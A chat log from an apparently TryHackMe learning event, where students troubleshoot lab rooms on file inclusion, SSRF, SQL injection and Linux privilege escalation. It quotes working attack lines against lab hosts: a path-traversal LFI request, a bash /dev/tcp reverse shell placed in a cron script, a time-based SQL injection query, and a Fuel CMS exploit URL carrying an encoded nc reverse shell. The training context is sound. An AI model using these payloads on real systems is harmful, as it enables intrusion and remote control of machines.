Hah, you just need to click Level 3, and correct flag will pop out.

lone river
#

i absolutely hate file inclusion

#

why does the challenge 3 request work with forward through proxy but not when using burps repeater? can someone explain because im struggling to understand and i wasted so much time with spamming the same request through the repeater

twilit yoke
#

is burp suite needed for challenge 3?

#

ok ty

lusty bolt
#

hmmm I'm at attempt 26000 of the quinn user PES_Pepe

#

using the exact same command that worked with the eddie user but obviously with quinn instead of eddie

lone river
#

||POST /challenges/chall3.php HTTP/1.1
Host: 10.10.101.220
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://10.10.101.220
DNT: 1
Connection: close
Referer: http://10.10.101.220/challenges/chall3.php
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

file=../../../etc/flag3%00||

#

ive been trying this all day already

#

and then ive asked @burnt orchid for help and then they told me theyve used the same, but i should try it with a direct proxy request forward and then it suddenly worked.

earnest shell
#

Anyone want to team up for burpsuite or networksecurity?

lone river
#

The repeater request works too. why tho? ive been jumping so many machines because i took so long they always expired

#

hdym? it worked

#

nope

#

location of chall3.php doesnt count as it is the origin

lusty bolt
sullen perch
#

can someone help me with local file inclusion?

#

why is this wrronggg?

#

why is this wrong?

hasty hill
sullen perch
subtle forge
sullen perch
#

umm what should i enter?

twilit yoke
#

In the last challenge, gain RCE with RFI am i suppose to make a webserver?

lusty bolt
lone river
lusty bolt
#

Well I looked at a writeup and it said you need to use the quinn user and password

burnt orchid
#

uhm hy? ๐Ÿ˜„

sullen perch
#

||lab1.php/get.php?file=/etc/passwd||

#

why is this wrtong?

subtle forge
sullen perch
#

reeeeeee

twilit yoke
#

@steel nymph is there anything pre-build in the THM AttackBox where i need to take a look at for making webserver?

#

hm ok

tepid raft
#

Where I can find username and password

#

How ?

drifting drum
#

-v

civic fog
#

Anybody having intermittent connection drops to boxes over openvpn?

drifting drum
#

Add it to the command

civic fog
tepid raft
zenith lodge
#

When the event is over, does the room close? or are just the ticketing system disabled?

steel ice
#

just tickets

zenith lodge
#

thank you

twilit yoke
#

@steel nymph is this the wrong way? does it have to be php?

modest arch
wispy heron
zenith lodge
# tepid raft

make sure youre at the same directory as the valid names.txt

tepid raft
#

Is the same

steel ice
#

it's just top something list, not the full one

#

why are you filtering 200?

agile adder
#

Anyone have any problems opening up the website for xss task 8? I get https://machine_IP.p.thmlabs.com as the link. I copy and paste into my attackbox browser to open it, and get certificate issues warning. I accept and continue and then get 504. I've run nmap and tried using just http, which gives me the nginx page. I've even tried port 9999, but can't connect. I've terminated and restarted the web machine 3x and terminated by attackbox once.

tepid raft
zenith lodge
# tepid raft Is the same

your valid_username.txt file name is custom, it shouldn't matter but anyways -> is the content of the file correct and have the specific usernames you found?

agile adder
#

thanks mate

next lanceBOT
#

Gave +1 Rep to @steel nymph

subtle forge
zenith lodge
# tepid raft Is the same

also check that you are at the correct IP. there the "active machine ip" you need not the one all the way at the top nav bar

tepid raft
#

No

wild sundial
#

is it in the same dir?

tepid raft
#

Yes

#

Thank you so much ๐Ÿ˜Š

noble rose
#

Hey guys, can someone link me to a nice SSRF explanation? Because the room alone is not enough for me

twilit yoke
#

When I run my webserver it gives back the hostname but when I put it into the Lab is says couldn't connect to server?

noble rose
#

Thanks bro!

next lanceBOT
#

Gave +1 Rep to @steel nymph

twilit yoke
#

ahh

#

does it matter if it's a file or happens when getting on landingpage?

#

haha

#

Remote FILE Inclusion, my bad

lone river
modest arch
lone river
#

If you copy and paste, you should try to understand why the copypasta works. Youre playing yourself if not. And real assessments are going to give u a hard time if you dont know the attack surface.

unborn jewel
#

for god sake am stuck at linux priv room i cant get a reverse shell on task 9 cron jobs

#

bash -i >& /dev/tcp/ip/4444 0>&1

#

put that in /home/karen/backup.sh

#

and listening with nc -lvnp 4444

small scroll
#

ื™ืŸ ื‘ืฉ

#

ืž ืฉืžื˜ืืžืง

#

ื™ืงืšืค

#

hi ca

#

n anyone help

#

sqlinjectionv2 room?

unborn jewel
#

it works

#

like that

#

but with root

#

no

#

if i execute it myself it works but i need root to run it

#

crontab says the script works every minute

#

like that

#

will try it with attack box

#

now i understand xd

#

xdddd

small scroll
#

in time based injection i cant seem to find the domain any help?

#

query admin123' UNION SELECT SLEEP(2),2 FROM ||analytics_referrers|| WHERE ||domain|| like'%

#

i did found the table name but cant find the query after that

#

sry i found the column name too

wild sundial
#

why would u use that table

shy elk
#

Hi, for linux privEsc task 6, I have no idea how to continue from this point

karen@ip-10-10-9-123:/$ sudo cat /etc/shadow
[sudo] password for karen:
Sorry, user karen is not allowed to execute '/usr/bin/cat /etc/shadow' as root on ip-10-10-9-123.eu-west-1.compute.internal.
karen@ip-10-10-9-123:/$ cat etc/shadow
cat: etc/shadow: Permission denied

#

Please help

#

I left with this question "What is the hash of frank's password?"

#

I follow the task using LD_PRELOAD=/tmp/shell.so find and cat flag2.txt already. But it still shows access denied when reading etc/shadow

#

I got following after sudo -lMatching Defaults entries for karen on ip-10-10-9-123:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User karen may run the following commands on ip-10-10-9-123:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano

#

Got it. Thank you๐Ÿ‘

twilit yoke
#

How can i put a specific file on my python webserver? i cant figure it out

little sparrow
#

yeah I looked at hint and tried several things but still don't understand

#

Does the answer have "ยง" symbols?

#

Ah, it was just formatting - thanks!

twilit yoke
#

Am i doing something wrong @steel nymph? I have in the folder of the webserver.py file another folder which contains 2 files. A php script and a text file for testing but i cant reach both of them.

#

haha ok it is working now:)

#

ah

#

๐Ÿฅณ

modest arch
#

gf ๐Ÿ˜„

#

but ssrf also same

north dove
#

I'll be doin that once i get a subscription

twilit yoke
#

well I didnt expected to be working on this single room for like 4 hours lol

north dove
#

atleast it was worth the 4

modest arch
#

4 hours? very good. it took my 2 days ๐Ÿ˜„

noble rose
#

it was 3 days for me

#

LOL

#

BUT we learned something

modest arch
#

what about ssrf btw ๐Ÿ˜„

twilit yoke
#

yes was very educating

modest arch
noble rose
#

im stuck there now

#

hahaha

twilit yoke
#

but i study it-security so i should do better lol

#

i will catch up soon

red wraith
#

hi, I am on linux privesc, task 8, third question. Don't understand what do I have to answer here

twilit yoke
#

You guys had any good tickets so far?

#

I was hoping for the OSCP voucher

#

but no luck for me

red wraith
noble rose
#

too late

twilit yoke
noble rose
#

yeah but all the good stuff have been redeemed

twilit yoke
#

ah really ๐Ÿ˜ฆ

noble rose
#

Its limited, thats why we get alot of pentestet titles and stuff

#

cuz those are free

#

But its ok

twilit yoke
#

good you tell me this i was about 2 grind so hard for the 27th lol

noble rose
#

nah dont man

#

thats what i thought as well

#

last 8 rooms all pentester and day skips

twilit yoke
#

sad

#

first come first serve

noble rose
#

yeah just take your time now

red wraith
#

well, I will end privilege escalation and invest some days on Buffer overflows

twilit yoke
red wraith
twilit yoke
#

It doesn't update at my place tho @noble rose

wild sundial
#

i got 2 oscp vouches just on finishing like 50%, after that only pentester titles

noble rose
twilit yoke
#

ah clickbait

noble rose
#

sadness

twilit yoke
#

oof

#

HAK5 must have been exciting

noble rose
#

can anyone help with SSRF task 2 ?

modest arch
#

What part you stuck on w it

modest arch
twilit yoke
noble rose
#

im not understading it

twilit yoke
#

congrats tho

noble rose
#

mainly cuz i suck at programming

modest arch
noble rose
#

i dont know what the &x= shit is

modest arch
wild sundial
modest arch
#

^

noble rose
#

alrighty

#

wish me luck im going in

modest arch
#

It gives you everything you need to know

wild sundial
#

yeh gl mate

modest arch
#

Have fun

red wraith
#

tricky, but after two or three reads you'll see it

subtle forge
#

anyone done with the vulnerability capstone?

#

?

#

stuck at setting up a netcat revrse listener and gaining RCE

#

So I setup the listener on my attacking machine(attackbox) on port 5550. Its listening.
Next, I opened another terminal and ran the python3 exploit.py http://machineIP
So its given me a menu where I select the "shell_me"
so when I enter my attacking machine IP there and the port 5550, it fails.

#

it says in the hint too!

#

once you run the exploit, it automatically asks you to run reverse shell

#

sorry, didnt get ya :/

wild sundial
subtle forge
wild sundial
#

whats the error

#

do u have connection to thm network?

subtle forge
#

yep.Im using the terminals in the attackbox itself. not on the local machine

wild sundial
#

try listen from ur local machine again

deep scaffold
subtle forge
#

||root@ip-10-10-26-94:/usr/share/exploits/vulnerabilitiescapstone# python3 exploit.py http://10.10.15.166


| | | / __ | / |/ |
| |
_ _ | | / /| . . |\ --. | _| | | |/ _ \ | | | |\/| | --.
| | | |
| | __/ | _
/| | | |/_
/ /
_| _
,
|_
|
|_/_| |/__/
Tested on 1.4
Created by Ac1d

Menu

exit - Exit app
shell_me - Get a reverse shell (netcat)
help - Show this help

fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.10.26.94:5550

Hope you had your listener ready!!
An error occured, please try again...

HTTPConnectionPool(host='http', port=80): Max retries exceeded with url: //10.10.15.166/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a(%27rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/sh%20-i%202%3E%261%7Cnc%2010.10.26.94%205550%20%3E/tmp/f%27)%2B%27 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fc64abd3c50>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution',))||

noble rose
#

Can i dm someone for the SSRF task 2 please ?

viral token
#

Would any help me with SSRF Practical please?

wild sundial
#

should work fine normally

viral token
#

I tried as instructed change the directory to x/../private. but /private doesn't show up on the source code

subtle forge
viral token
subtle forge
next lanceBOT
#

Gave +1 Rep to @wild sundial

shell lintel
#

@cobalt skiff @main dune thanks, you helped mi finish SQLi challange in Task 8.

next lanceBOT
#

Gave +1 Rep to @cobalt skiff

tardy idol
#

Are there supposed to be creds for the windows priv esc room anyone know?

wild sundial
tardy idol
#

Thanks! I just me blind, I can't see that anywhere on the page

next lanceBOT
#

Gave +1 Rep to @steel nymph

next lanceBOT
#

Gave +1 Rep to @wild sundial

vast nova
#

Anyone else having issue SSHing into the linux privesq with provided creds? Also noticing that I cannot wget files from my local http server to the attack box. Have confirmed I'm on VPN correctly, able to ping the box fine, and have even stopped and re-started box and my own system. Am I crazy?

vast nova
#

Curl not installed, karen not a sudoer

wild sundial
tardy idol
drifting drum
#

You don't have write perms for the directory you're in

vast nova
#

Hi all, I initially moved into /tmp to try to wget, system just hung. Same with me trying to SSH in. Tried wget from /tmp outbound to pull file off net and also just sits frozen.

shadow echo
vast nova
#

maybe it's my config. I'll dig around as both machines can ping each other just fine.

#

Seems it was tied to my home VPN. Disconnecting and suddenly everything works again. Sorry for false alarm, all.

rapid kite
shadow echo
rapid kite
#

yup, online ****

shadow echo
untold cargo
#

can someone help me with the ssrf

#

i'm not getting how i do task 2

untold cargo
#

i placed the &x=api

rapid kite
#

i downloaded the file and ran with the ip address.

#

not sure what im doing wrong

shadow echo
rapid kite
wild sundial
shadow echo
rapid kite
#

AH

#

crap

shadow echo
# rapid kite AH

Also not sure if you have to put http:// infront of the IP, but I don't think so

rapid kite
#

same issue though

rough ore
#

Problem with task 11 Linux Prives cant root mount -o rw,vers=2 10.10.117.1:/tmp /tmp/test
mount: only root can use "--options" option

shadow echo
rapid kite
# shadow echo So you tried it with http://IP and still not working? What's the error you get?

Attempting to upload PHP web shell...
Traceback (most recent call last):
File "47887.py", line 28, in <module>
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
File "/usr/lib/python3/dist-packages/requests/api.py", line 112, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/lib/python3/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 506, in request
prep = self.prepare_request(req)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 449, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "/usr/lib/python3/dist-packages/requests/models.py", line 305, in prepare
self.prepare_url(url, params)
File "/usr/lib/python3/dist-packages/requests/models.py", line 379, in prepare_url
raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '10.10.148.177/admin_add.php': No schema supplied. Perhaps you meant http://10.10.148.177/admin_add.php?

#

sorry i can't send images over here for some reason